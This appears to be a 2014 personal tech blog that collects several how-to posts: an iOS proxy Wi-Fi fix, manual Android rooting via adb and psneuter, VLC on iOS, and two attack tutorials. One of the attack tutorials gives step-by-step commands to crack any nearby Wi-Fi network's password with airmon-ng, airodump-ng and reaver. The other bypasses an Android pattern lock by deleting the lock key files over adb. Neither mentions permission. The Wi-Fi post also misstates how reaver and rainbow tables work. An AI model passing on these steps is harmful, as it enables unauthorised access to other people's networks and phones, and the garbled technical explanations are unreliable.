Friday 31 January 2014

iPad, iPhone, iPod touch Wi-fi connected but internet is not working, proxy server

This is a problem with apple devices that when we connect them to proxy server, it gets connected but even then the internet or the app store does not work. It happens because the proxy server you are trying to connect with doesnot give all the settings required by the device to run but android devices manages to run in that settings. So, the most easiest way to resolve it is to complete them manually.



When you connect to network, click on the small arrow right next to it, then certain options will appear.

You will see that, some of the entries will be filled like ip address etc... and at the bottom, you must have added your proxy and port.

When this is done, few of the entries would be still empty like DNS etc..
Now enter Search domain as 8888 and entry below it i.e. Client ID as gdr.local



Now press the back button and now you will notice the wifi symbol on the notification bar and now your net and appstore will work, but mail app will not because the proxy we have added is http and mail uses different services like pop3 etc..

Friday 24 January 2014

How to root any android phone manually

For rooting the android phone, your android debugging must be ON and you will require following things.



1. A linux machine, in my case ubuntu
2. adb - It can downloaded by following command on linux terminal
     $ sudo apt-get install android-tools-adb
3. busybox, Superuser.apk, psneuter

When you have it execute the following command step-wise.


$ adb devices

          This will list all the devices connected to the computer, if "no devices" is promting, check whether your USB Debugging is ON, which is present in developer options under settings.

$ adb push psneuter /data/local/tmp
          This copy the file in your device and now we will execute this file.
$ adb shell
$ cd /data/local/tmp
$ chmod 777 psneuter
$ ./psneuter

now it will run

$ adb kill-server
$ adb devices
$ adb shell

now # will appear in place of $, or after typing $su

# mount -o remount,rw -t rfs /dev/block/st19/system
# exit
$ adb push busybox /system/bin
$ adb push su /system/bin
$ adb install Superuser.apk
$ adb shell
# chmod 4755 /system/bin/busybox
# chmod 4755 /system/bin/su
# mount -o remount,ro -t rfs /dev/block/st19/system
# exit
$ adb reboot

now device will reboot and device will be rooted and su app will appear in app drawer.

How to hack a wifi network(WEP / WPA2) using linux (in my case ubuntu)

To hack the wifi password with WEP/WPA2, you gonna need following programs.

1. reaver - This is free tools which can be downloaded on linux for free by typing following command on linux terminal

$ sudo apt-get install reaver

2. aircrack-ng - It is also a free tool for linux and is also available for windows, it can downloaded by using dollowing command

$ sudo apt-get install aircrack-ng


This hacking method used bruteforce, that means it is going to take lot of time, may be sometimes a day, but will surely provide you with the password unlike the dictionary hack, which it inefficient if the password is not made by words in dictionary.
For those, who don't know what brute force, dictionary or rainbow hack is?
Brute Force is very old fashioned and efficient way of hacking but time consuming. It tries every possible combination of words, letters, symbols, numbers and finally gave the password.
Dictionary hack uses the dictionary for hacking the password, it tries all the combination of words available in dictionary and if the password is combination of dictionary words, then this method is the best method to hack any password.
Rainbow hack is somewhat the combination of rainbow and brute force, it removes certain words to be searched for password based on the dictionary and it is thus more efficient than brute force and dictionary hack, in general cases.

Now to hack the wifi password, follow the following steps.

1.  First open the wlan port where you will hack your wifi, this is done by following command on the terminal
$ airmon-ng start wlan0

2. Now, we have to list all the wifi network available
$ airodump-ng mon0

3. Now copy the bssid of the wifi network you want to hack and use in iplace of <bssid> in following command
$ reaver -i mon0 -b <bssid>

Now, the brute force will start and password will be hacked in sometime, depending on the length and complexity of password.

How to hack the lockscreen of android phone i,e bypass screen without PIN or pattern

How to bypass the pattern lockscreen of any android phone

To remove the pattern lock of the android devices, you gonna need a computer running any linux distro, as of my case ubuntu 13.04. Just follow the following steps

1. Open the linux terminal and type
    $sudo apt-get install android-tools-adb
   and let it install

2. When it is installed, connect the android device to the computer.

3. Type
    $adb devices
   a will device will be shown and if not then make sure that USB Debugging is switched ON, on the android devices, probably located in the developer options inside the settings(on device on or after android 4.0)

4. Now the device is shown, then type
    $adb shell
    $su
    #cd data/system
    #rm *.key;
    #exit
    $adb reboot

5. Now your device will be rebooted.

6. Now try any pattern, the device will open.

If after the step, $su, the $ doesnot changed to #, or a error pops up, it means that your device is not rooted. Fortunately, methods are there which can unlock the phone, even if the device is not rooted, that I will write about next time.

Friday 10 January 2014

How to run all video formats(mkv, avi, flv, mp4, 3gp, wmp, rmvb) on iPhone, iPad, iPod Touch



Apple doesnot allow to run video formats other than mp4, but however they allow developers to make the codecs for other formats to run on iOS. There are various apps around that can run various video formats like flv, mkv, avi and many other, some of them are free. The best free app is vlc for iOS, it support iPhone, iPad and iPod touch. Vlc is still one of the best video player around.

Steps to run all video formats on iOS are

1. Go to Appstore and search for "vlc for iOS" and download it.

2. After downloading it connect you iOS device to the computer running iTunes.

3. Go select your device from iTunes and move the Apps tab.

4. Now scroll down and where you see apps, and vlc will be mentioned there.

5. Select the vlc and click on "Add" button and choose the video you want to add to it.

6. Now disconnect your device and open the vlc for iOS app on your device and you will all the videos, you added there.

Unfortunately it have some bugs. I came through only one of them, when you open .flv video files audio for that video donot play at once, you have to play it again to listen to audio.